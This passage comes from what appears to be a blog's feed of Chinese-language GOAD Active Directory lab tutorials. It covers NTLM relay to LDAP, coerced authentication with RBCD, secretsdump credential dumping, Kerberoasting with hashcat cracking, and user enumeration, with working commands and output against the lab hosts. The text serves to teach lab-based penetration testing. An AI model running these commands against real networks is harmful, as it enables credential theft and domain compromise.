<code>BRAAVOS</code> 这台机器的权限。</p><p>同样地，也可以把这条中继打到 LDAP 上，直接导出域信息（适合中继到的账户权限不够高的情况）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-ntlmrelayx -6 -wh wpadfakeserver.essos.local -t ldap://meereen.essos.local -l /home/kali/temp/</span><br></pre></td></tr></table></figure><p><img src="/../images/relay_dump.png" alt="中继后导出域信息"></p><p><img src="/../images/relay_ldapfiles.png" alt="LDAP 中继后写入委派或机器账户"></p><h2 id="强制认证后-relay-到-LDAP"><a href="#强制认证后-relay-到-LDAP" class="headerlink" title="强制认证后 relay 到 LDAP"></a>强制认证后 relay 到 LDAP</h2><p>我们还可以用多种方式（PetitPotam、PrinterBug、DFSCoerce）强制让 <code>Meereen</code> 这台 DC 主动连回我们的机器。为了少折腾不同 PoC，这里直接用一体化工具 <a href="https://github.com/p0dalirius/Coercer.git">Coercer</a>。</p><p>正如 <a href="https://en.hackndo.com/ntlm-relay/">hackndo</a> 和 <a href="https://www.thehacker.recipes/ad/movement/ntlm/relay">The Hacker Recipes</a> 里解释的那样，如果不借助 CVE-2019-1040（也就是 <code>remove-mic</code>），普通的 SMB 连接是没法直接中继到 LDAP(S) 的。</p><ol><li>启动中继，移除 MIC，目标打到 <code>meereen.essos.local</code> 的 LDAPS：</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-ntlmrelayx -t ldap://meereen.essos.local -smb2support --remove-mic --delegate-access</span><br></pre></td></tr></table></figure><ol start="2"><li>在 <code>braavos</code> 上触发强制认证。（<code>braavos</code> 是较新的 Windows Server 2016，未授权 PetitPotam 在这里打不动。）</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 Coercer.py coerce -u khal.drogo -d essos.local -p horse -t braavos.essos.local -l 192.168.56.200</span><br></pre></td></tr></table></figure><p><img src="/../images/coerce.png" alt="强制认证触发请求"></p><p><img src="/../images/coerce_relay.png" alt="强制认证后 relay 到 LDAP"></p><ol start="3"><li>攻击成功后，我们拿到了 <code>QVGNFSKR$:ShI(whoIy24c)bb</code>，接下来就能利用 RBCD 去打 <code>braavos</code>。</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-getST -spn HOST/BRAAVOS.ESSOS.LOCAL -impersonate Administrator -dc-ip 192.168.56.12 <span class="string">&#x27;ESSOS.LOCAL/QVGNFSKR$:ShI(whoIy24c)bb&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="/../images/getST.png" alt="getST 获取服务票据"></p><ol start="4"><li>然后用这张票据直接导出凭据：</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> KRB5CCNAME=Administrator@HOST_BRAAVOS.ESSOS.LOCAL@ESSOS.LOCAL.ccache</span><br><span class="line">impacket-secretsdump -k -no-pass ESSOS.LOCAL/<span class="string">&#x27;Administrator&#x27;</span>@braavos.essos.local</span><br></pre></td></tr></table></figure><p><img src="/../images/getST-secretdump.png" alt="使用服务票据配合 secretsdump 导出哈希"></p><p>类似的思路也可以套到最近很火的 CVE-2025-33073 去做 Relay 到 SMB，这里就不再展开了。</p>]]>
    </content>
    <id>https://3h1xy.com/GOAD-Journey-Part3/</id>
    <link href="https://3h1xy.com/GOAD-Journey-Part3/"/>
    <published>2025-12-26T17:14:18.000Z</published>
    <summary>围绕 Responder、NTLM Relay、mitm6、Inveigh 与 LDAP 中继，演示如何在 GOAD 里从投毒拿到 NetNTLM，到中继认证获取更高权限。</summary>
    <title>GOAD 域渗透教程 3：Responder 投毒、NTLM Relay、mitm6 与 LDAP 中继</title>
    <updated>2026-05-26T16:50:32.674Z</updated>
  </entry>
  <entry>
    <author>
      <name>3h1xy</name>
    </author>
    <category term="GOAD 域渗透教程" scheme="https://3h1xy.com/categories/GOAD-%E5%9F%9F%E6%B8%97%E9%80%8F%E6%95%99%E7%A8%8B/"/>
    <category term="GOAD" scheme="https://3h1xy.com/tags/GOAD/"/>
    <category term="Active Directory" scheme="https://3h1xy.com/tags/Active-Directory/"/>
    <category term="Kerberoasting" scheme="https://3h1xy.com/tags/Kerberoasting/"/>
    <category term="BloodHound" scheme="https://3h1xy.com/tags/BloodHound/"/>
    <content>
      <![CDATA[<p>在上一篇 <a href="../GOAD-Journey-Part1/">《GOAD 域渗透教程 1：内网扫描、域控识别与初始域用户获取》</a> 中，我们已经拿到了第一批域用户。这一篇继续做域信息收集与凭据扩展，重点演示域用户枚举、Kerberoasting、主机信息收集、SMB 枚举、ADIDNS 枚举，以及用 BloodHound 梳理攻击路径。</p><span id="more"></span><h2 id="这篇文章会学到什么"><a href="#这篇文章会学到什么" class="headerlink" title="这篇文章会学到什么"></a>这篇文章会学到什么</h2><ul><li>如何在拿到一个域账户后快速枚举整套域用户与主机信息</li><li>如何通过 Kerberoasting 获取可离线破解的服务票据</li><li>如何使用 ldapdomaindump、adidnsdump 与 SMB 枚举补全攻击面</li><li>如何借助 BloodHound 梳理域内横向与提权路径</li></ul><h2 id="获取用户列表"><a href="#获取用户列表" class="headerlink" title="获取用户列表"></a>获取用户列表</h2><p>当我们在获取到一个域账户后，首先要做的事情就是获取用户列表。</p><h3 id="impacket-GetADUsers"><a href="#impacket-GetADUsers" class="headerlink" title="impacket-GetADUsers"></a>impacket-GetADUsers</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-GetADUsers -all north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies</span><br><span class="line"></span><br><span class="line">[*] Querying 192.168.56.11 for information about domain.</span><br><span class="line">Name                  Email                           PasswordLastSet      LastLogon</span><br><span class="line">--------------------  ------------------------------  -------------------  -------------------</span><br><span class="line">Administrator                                         2025-11-30 04:34:14.417277  2025-12-15 12:09:44.933841</span><br><span class="line">Guest                                                 &lt;never&gt;              &lt;never&gt;</span><br><span class="line">vagrant                                               2021-05-12 07:39:16.765445  2025-12-22 09:50:15.293602</span><br><span class="line">krbtgt                                                2025-11-30 04:51:04.250812  &lt;never&gt;</span><br><span class="line">arya.stark                                            2025-11-30 06:11:39.441082  &lt;never&gt;</span><br><span class="line">eddard.stark                                          2025-11-30 06:11:41.191046  2025-12-22 09:57:42.152696</span><br><span class="line">catelyn.stark                                         2025-11-30 06:11:42.769169  &lt;never&gt;</span><br><span class="line">robb.stark                                            2025-11-30 06:11:44.332172  2025-12-22 09:59:49.776900</span><br><span class="line">sansa.stark                                           2025-11-30 06:11:45.909966  &lt;never&gt;</span><br><span class="line">brandon.stark                                         2025-11-30 06:11:47.425431  2025-12-21 06:56:44.028014</span><br><span class="line">rickon.stark                                          2025-11-30 06:11:48.925366  &lt;never&gt;</span><br><span class="line">hodor                                                 2025-11-30 06:11:50.394151  2025-12-21 06:56:44.042971</span><br><span class="line">jon.snow                                              2025-11-30 06:11:51.879020  2025-12-07 07:46:10.688271</span><br><span class="line">samwell.tarly                                         2025-11-30 06:11:53.363540  2025-12-20 09:56:59.286260</span><br><span class="line">jeor.mormont                                          2025-11-30 06:11:54.847875  &lt;never&gt;</span><br><span class="line">sql_svc                                               2025-11-30 06:11:56.269877  2025-12-20 09:19:55.407439</span><br></pre></td></tr></table></figure><h3 id="ldapsearch"><a href="#ldapsearch" class="headerlink" title="ldapsearch"></a>ldapsearch</h3><p>关于 LDAP 查询，我推荐这篇文章：<a href="https://podalirius.net/en/active-directory/useful-ldap-queries-for-windows-active-directory-pentesting/">Useful LDAP queries for pentesting</a>。里面基本把常用查询都列全了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ldapsearch -H ldap://192.168.56.11 -D <span class="string">&quot;samwell.tarly@north.sevenkingdoms.local&quot;</span> -w Heartsbane -b <span class="string">&#x27;DC=north,DC=sevenkingdoms,DC=local&#x27;</span> <span class="string">&quot;(&amp;(objectCategory=person)(objectClass=user))&quot;</span> | grep <span class="string">&#x27;distinguishedName:&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="/../images/ldapsearchuser.png" alt="使用 ldapsearch 查询域用户"></p><p>通过ldap查询，我们也可以查询到其他域上的用户，因为存在域信任。</p><ul><li>查询 <code>sevenkingdoms.local</code></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ldapsearch -H ldap://192.168.56.10 -D <span class="string">&quot;samwell.tarly@north.sevenkingdoms.local&quot;</span> -w Heartsbane -b <span class="string">&#x27;DC=sevenkingdoms,DC=local&#x27;</span> <span class="string">&quot;(&amp;(objectCategory=person)(objectClass=user))&quot;</span> | grep <span class="string">&#x27;distinguishedName:&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="/../images/ldapsearch_sevenkingdomslocal.png" alt="跨域查询 sevenkingdoms.local 用户"></p><h2 id="Kerberoasting"><a href="#Kerberoasting" class="headerlink" title="Kerberoasting"></a>Kerberoasting</h2><p>在域中，经常能看到设置了SPN的用户</p><h3 id="impacket-GetUserSPNs"><a href="#impacket-GetUserSPNs" class="headerlink" title="impacket-GetUserSPNs"></a>impacket-GetUserSPNs</h3><p>我们可以用impacket来查找他们</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-GetUserSPNs -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/samwell.tarly:Heartsbane -outputfile kerberoasting.hashes</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies</span><br><span class="line"></span><br><span class="line">ServicePrincipalName                                 Name         MemberOf                                                    PasswordLastSet             LastLogon                   Delegation</span><br><span class="line">---------------------------------------------------  -----------  ----------------------------------------------------------  --------------------------  --------------------------  -----------</span><br><span class="line">HTTP/eyrie.north.sevenkingdoms.local                 sansa.stark  CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local        2025-11-30 06:11:45.909966  &lt;never&gt;</span><br><span class="line">CIFS/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2025-11-30 06:11:51.879020  2025-12-07 07:46:10.688271  constrained</span><br><span class="line">HTTP/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2025-11-30 06:11:51.879020  2025-12-07 07:46:10.688271  constrained</span><br><span class="line">MSSQLSvc/castelblack.north.sevenkingdoms.local       sql_svc                                                                  2025-11-30 06:11:56.269877  2025-12-20 09:19:55.407439</span><br><span class="line">MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc                                                                  2025-11-30 06:11:56.269877  2025-12-20 09:19:55.407439</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">[-] CCache file is not found. Skipping...</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这样就把哈希保存到了 <code>kerberoasting.hashes</code>。</p><h3 id="使用hashcat破解"><a href="#使用hashcat破解" class="headerlink" title="使用hashcat破解"></a>使用hashcat破解</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hashcat -m 13100 --force -a 0 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force</span><br></pre></td></tr></table></figure><p><img src="/../images/hashcat_Kerberoasting.png" alt="使用 hashcat 破解 Kerberoasting 哈希"></p><h2 id="获取机器名和系统信息"><a href="#获取机器名和系统信息" class="headerlink" title="获取机器名和系统信息"></a>获取机器名和系统信息</h2><p>众所周知，Windows 偶尔会冒出一些“看见版本就想打”的洞，比如 MS17-010。所以在域里把机器名、系统版本、补丁代际先摸清楚，始终是很值得做的。</p><p><img src="/../images/getComputer.png" alt="枚举主机名与系统信息"></p><p>不走运的是，我们这个域内没有任何的低版本系统（在实验环境里面肯定没有啊，想啥呢，真正的域里面就看你运气咯。）</p><h2 id="SMB枚举"><a href="#SMB枚举" class="headerlink" title="SMB枚举"></a>SMB枚举</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.56.0/24 -u jon.snow -p iknownothing --shares</span><br></pre></td></tr></table></figure><p><img src="/../images/SMB_emum.png" alt="使用 SMB 枚举共享"></p><p>实验环境还是啥都没有，真实域环境有时候也会获取到一些有用的文档。</p><h2 id="全都要：ldapdomaindump"><a href="#全都要：ldapdomaindump" class="headerlink" title="全都要：ldapdomaindump"></a>全都要：ldapdomaindump</h2><p>上面说的域信息，除了SMB枚举外，基本上用<a href="https://github.com/dirkjanm/ldapdomaindump">ldapdomaindump</a>都能查询。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ldapdomaindump -u <span class="string">&#x27;NORTH.SEVENKINGDOMS.LOCAL\samwell.tarly&#x27;</span> -p Heartsbane -o NORTH.SEVENKINGDOMS.LOCAL 192.168.56.11</span><br></pre></td></tr></table></figure><p><img src="/../images/ldapdomaindump.png" alt="使用 ldapdomaindump 导出域信息"></p><h2 id="adidnsdump"><a href="#adidnsdump" class="headerlink" title="adidnsdump"></a>adidnsdump</h2><p>再补一点 <code>ldapdomaindump</code> 查不到的内容：我们可以把 computer name 和 IP 对上，便于后续做更有针对性的攻击。</p><p>这个工具同样是 dirkjanm 写的：<a href="https://github.com/dirkjanm/adidnsdump">adidnsdump</a>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~/adidnsdump/adidnsdump]</span><br><span class="line">└─$ python3 dnsdump.py -u &#x27;north.sevenkingdoms.local\jon.snow&#x27; -p &#x27;iknownothing&#x27; winterfell.north.sevenkingdoms.local</span><br><span class="line"></span><br><span class="line">[-] Connecting to host...</span><br><span class="line">[-] Binding to host</span><br><span class="line">[+] Bind OK</span><br><span class="line">[-] Querying zone for records</span><br><span class="line">[+] Found 8 records, saving to records.csv</span><br></pre></td></tr></table></figure><h2 id="BloodHound"><a href="#BloodHound" class="headerlink" title="BloodHound"></a>BloodHound</h2><p>最后提一下非常常用的图形化分析工具 BloodHound。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">.\sharphound.exe <span class="literal">-d</span> north.sevenkingdoms.local <span class="literal">-c</span> all <span class="literal">--zipfilename</span> bh_north_sevenkingdoms.zip</span><br><span class="line">.\sharphound.exe <span class="literal">-d</span> sevenkingdoms.local <span class="literal">-c</span> all <span class="literal">--zipfilename</span> bh_sevenkingdoms.zip</span><br><span class="line">.\sharphound.exe <span class="literal">-d</span> essos.local <span class="literal">-c</span> all <span class="literal">--zipfilename</span> bh_essos.zip</span><br></pre></td></tr></table></figure><p>用 SharpHound 收集完数据后，直接导入 BloodHound 即可。</p><p>如果你想深入查看BloodHound，我推荐以下文章，其中包含大量有用的信息和查询：</p><ul><li><a href="https://en.hackndo.com/bloodhound/">https://en.hackndo.com/bloodhound/</a></li><li><a href="https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/">https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/</a></li></ul><p>本文主要参考了 <a href="https://mayfly277.github.io/">MayFly</a> 的思路。</p>]]>
    </content>
    <id>https://3h1xy.com/GOAD-Journey-Part2/</id>
    <link href="https://3h1xy.com/GOAD-Journey-Part2/"/>
    <published>2025-12-22T14:38:10.000Z</published>
    <summary>这篇继续 GOAD 域渗透流程，演示域用户枚举、Kerberoasting、hashcat 破解、SMB 枚举、ldapdomaindump、adidnsdump 与 BloodHound 收集。</summary>
    <title>GOAD 域渗透教程 2：域用户枚举、Kerberoasting、BloodHound 与 DNS 信息收集</title>
    <updated>2026-05-26T16:50:32.673Z</updated>
  </entry>
  <entry>
    <author>
      <name>3h1xy</name>
    </author>
    <category term="GOAD 域渗透教程" scheme="https://3h1xy.com/categories/GOAD-%E5%9F%9F%E6%B8%97%E9%80%8F%E6%95%99%E7%A8%8B/"/>
    <category term="GOAD" scheme="https://3h1xy.com/tags/GOAD/"/>
    <category term="Active Directory" scheme="https://3h1xy.com/tags/Active-Directory/"/>
    <category term="内网渗透" scheme="https://3h1xy.com/tags/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
    <category term="AS-REP Roasting" scheme="https://3h1xy.com/tags/AS-REP-Roasting/"/>
    <content>
      <![CDATA[<p>这篇文章从 0 开始，带你在 <a href="https://github.com/Orange-Cyberdefense/GOAD">GOAD</a> 环境里完成第一轮信息收集：内网扫描、识别域控、配置 hosts、匿名枚举域用户，并继续尝试 AS-REP Roasting 和密码喷洒，拿到第一批可用凭据。</p><span id="more"></span><h2 id="这篇文章会学到什么"><a href="#这篇文章会学到什么" class="headerlink" title="这篇文章会学到什么"></a>这篇文章会学到什么</h2><ul><li>如何用 NetExec 和 Nmap 对 GOAD 内网做第一轮信息收集</li><li>如何根据 SMB Signing、LDAP 与命名信息识别域控和域结构</li><li>如何通过匿名枚举、OSINT、AS-REP Roasting 与密码喷洒拿到初始域用户</li><li>如何把扫描结果整理成后续域渗透可复用的目标清单</li></ul><h2 id="扫描和侦查"><a href="#扫描和侦查" class="headerlink" title="扫描和侦查"></a>扫描和侦查</h2><h3 id="网络扫描"><a href="#网络扫描" class="headerlink" title="网络扫描"></a>网络扫描</h3><h4 id="NetExec-简单探测"><a href="#NetExec-简单探测" class="headerlink" title="NetExec 简单探测"></a>NetExec 简单探测</h4><p>在域渗透中，我们可以通过<a href="https://github.com/Pennyw0rth/NetExec/tree/main">NetExec</a>进行简单的域内Windows扫描</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.56.0/24</span><br></pre></td></tr></table></figure><p><img src="/../images/nxc_scan.png" alt="GOAD 内网 NetExec SMB 扫描结果"></p><p>我们可知当前有三个域</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">essos.local</span><br><span class="line">sevenkingdoms.local</span><br><span class="line">north.sevenkingdoms.local</span><br></pre></td></tr></table></figure><p>看到 <code>signing: True</code> 后，可以先推测这三台机器大概率是域控，再用 LDAP 进一步验证。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc ldap 192.168.56.0/24</span><br></pre></td></tr></table></figure><p><img src="/../images/nxc_ldap_scan.png" alt="GOAD 内网 LDAP 扫描识别域控结果"></p><p>可以确定有三台域控。</p><h4 id="配置-HOSTS"><a href="#配置-HOSTS" class="headerlink" title="配置 HOSTS"></a>配置 HOSTS</h4><p>我们需要在本地机器上设置hosts文件，以便后续使用Kerberos协议</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># /etc/hosts</span><br><span class="line"># GOAD</span><br><span class="line">192.168.56.10   sevenkingdoms.local kingslanding.sevenkingdoms.local kingslanding</span><br><span class="line">192.168.56.11   winterfell.north.sevenkingdoms.local north.sevenkingdoms.local winterfell</span><br><span class="line">192.168.56.12   essos.local meereen.essos.local meereen</span><br><span class="line">192.168.56.22   castelblack.north.sevenkingdoms.local castelblack</span><br><span class="line">192.168.56.23   braavos.essos.local braavos</span><br></pre></td></tr></table></figure><h4 id="Nmap-全端口扫描"><a href="#Nmap-全端口扫描" class="headerlink" title="Nmap 全端口扫描"></a>Nmap 全端口扫描</h4><p>为了扩充攻击面，我们将对目前已知的机器进行全端口扫描</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -Pn -p- -sC -sV -oA full_scan 192.168.56.10-12,22-23</span><br></pre></td></tr></table></figure><p>参数含义如下：</p><ul><li><code>-Pn</code>：不使用 ping 探活。</li><li><code>-p-</code>：扫描全部端口。</li><li><code>-sC</code>：运行默认侦察脚本。</li><li><code>-sV</code>：探测服务版本。</li><li><code>-oA</code>：同时输出三种格式的结果到 <code>full_scan</code>。</li></ul><p>扫描结果太长，这里就不整段贴出了。</p><h3 id="分析扫描结果"><a href="#分析扫描结果" class="headerlink" title="分析扫描结果"></a>分析扫描结果</h3><p>把 <code>sevenkingdoms.local</code> 和 <code>essos.local</code> 丢进 Google 搜一下，基本就能判断这套命名和《权力的游戏》&#x2F;《冰与火之歌》有关。虽然这里是靶场，但这种 OSINT 思路在实战里同样有价值。</p><p><img src="/../images/reconfromgoogle.png" alt="通过 Google 识别 GOAD 域命名信息"></p><h2 id="寻找域用户"><a href="#寻找域用户" class="headerlink" title="寻找域用户"></a>寻找域用户</h2><h3 id="在域控上匿名枚举域账号"><a href="#在域控上匿名枚举域账号" class="headerlink" title="在域控上匿名枚举域账号"></a>在域控上匿名枚举域账号</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.56.0/24 --<span class="built_in">users</span></span><br></pre></td></tr></table></figure><p><img src="/../images/Enumerate.png" alt="匿名枚举获得域用户列表"></p><p>我们在WINTERFELL.NORTH.SEVENKINGDOMS.LOCAL中枚举到了十个域账号，并且意外收获了一个密码</p><p><code>samwell.tarly:Heartsbane</code></p><p>这些账号我们也可以验证我们在上一步的OSINT，我们寻找的是正确的信息。</p><p><img src="/../images/OSINT.png" alt="使用 kerbrute 和 Nmap 枚举域用户名"></p><p>有密码时我们可以使用<a href="https://github.com/dirkjanm/ldapdomaindump">ldapdomaindump</a>来获取域信息。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ ldapdomaindump -u &#x27;NORTH.SEVENKINGDOMS.LOCAL\samwell.tarly&#x27; -p Heartsbane -o NORTH.SEVENKINGDOMS.LOCAL 192.168.56.11</span><br><span class="line">[*] Connecting to host...</span><br><span class="line">[*] Binding to host</span><br><span class="line">[+] Bind OK</span><br><span class="line">[*] Starting domain dump</span><br><span class="line">[+] Domain dump finished</span><br></pre></td></tr></table></figure><p>我们获得了<code>NORTH.SEVENKINGDOMS.LOCAL</code>上所有的账户</p><h3 id="OSINT-暴力枚举账号"><a href="#OSINT-暴力枚举账号" class="headerlink" title="OSINT + 暴力枚举账号"></a>OSINT + 暴力枚举账号</h3><p>我们可以利用上面<a href="#%E5%88%86%E6%9E%90%E6%89%AB%E6%8F%8F%E7%BB%93%E6%9E%9C">分析扫描结果</a>时得到的 OSINT 信息去猜测账号名，再按另一个域里已经出现过的命名格式进行枚举。（这种格式在很多域环境里都比较通用。）</p><p>可以先写一个简单的 shell 脚本，从网页里抓取相关角色名：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Fetch webpage and extract character names</span></span><br><span class="line">curl -s <span class="string">&quot;https://www.hbomax.com/shows/game-of-thrones/4f6b4985-2dc9-4ab6-ac79-d60f0860b0ac/cast-and-crew&quot;</span> | \</span><br><span class="line">grep -o <span class="string">&#x27;&gt;[A-Z][a-z]* [A-Z][a-z]*&lt;&#x27;</span> | \</span><br><span class="line">sed <span class="string">&#x27;s/&gt;//g; s/&lt;//g&#x27;</span> | \</span><br><span class="line">awk <span class="string">&#x27;</span></span><br><span class="line"><span class="string">BEGIN &#123; count = 0 &#125;</span></span><br><span class="line"><span class="string">&#123;</span></span><br><span class="line"><span class="string">    count++</span></span><br><span class="line"><span class="string">    if (count &gt; 11 &amp;&amp; (count - 12) % 2 == 0) &#123;</span></span><br><span class="line"><span class="string">        # Convert to lowercase and replace spaces with dots</span></span><br><span class="line"><span class="string">        name = tolower($0)</span></span><br><span class="line"><span class="string">        gsub(/ /, &quot;.&quot;, name)</span></span><br><span class="line"><span class="string">        print name</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">&#125;&#x27;</span> | \</span><br><span class="line"><span class="built_in">sort</span> | <span class="built_in">uniq</span></span><br></pre></td></tr></table></figure><p>然后用 <a href="https://github.com/ropnop/kerbrute">kerbrute</a> 做用户名枚举：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ kerbrute userenum -d essos.local --dc 192.168.56.12 got_users.txt</span><br><span class="line"></span><br><span class="line">    __             __               __</span><br><span class="line">   / /_____  _____/ /_  _______  __/ /____</span><br><span class="line">  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \</span><br><span class="line"> / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/</span><br><span class="line">/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/</span><br><span class="line"></span><br><span class="line">Version: v1.0.3 (9dad6e1) - 12/21/25 - Ronnie Flathers @ropnop</span><br><span class="line"></span><br><span class="line">2025/12/21 06:32:31 &gt;  Using KDC(s):</span><br><span class="line">2025/12/21 06:32:31 &gt;  192.168.56.12:88</span><br><span class="line"></span><br><span class="line">2025/12/21 06:32:31 &gt;  [+] VALID USERNAME: daenerys.targaryen@essos.local</span><br><span class="line">2025/12/21 06:32:31 &gt;  [+] VALID USERNAME: jorah.mormont@essos.local</span><br><span class="line">2025/12/21 06:32:31 &gt;  [+] VALID USERNAME: khal.drogo@essos.local</span><br><span class="line">2025/12/21 06:32:31 &gt;  [+] VALID USERNAME: viserys.targaryen@essos.local</span><br><span class="line">2025/12/21 06:32:36 &gt;  Done! Tested 80 usernames (4 valid) in 5.003 seconds</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>也可以直接用 Nmap 的 <code>krb5-enum-users</code> 脚本来枚举用户名，这里换到另一个域试一下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">┌──(kali㉿kali)-[~]</span><br><span class="line">└─$ nmap -p 88 --script=krb5-enum-users --script-args=&quot;krb5-enum-users.realm=&#x27;sevenkingdoms.local&#x27;,userdb=got_users.txt&quot; 192.168.56.10</span><br><span class="line">Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 06:32 EST</span><br><span class="line">Nmap scan report for sevenkingdoms.local (192.168.56.10)</span><br><span class="line">Host is up (0.00035s latency).</span><br><span class="line"></span><br><span class="line">PORT   STATE SERVICE</span><br><span class="line">88/tcp open  kerberos-sec</span><br><span class="line">| krb5-enum-users:</span><br><span class="line">| Discovered Kerberos principals</span><br><span class="line">|     robert.baratheon@sevenkingdoms.local</span><br><span 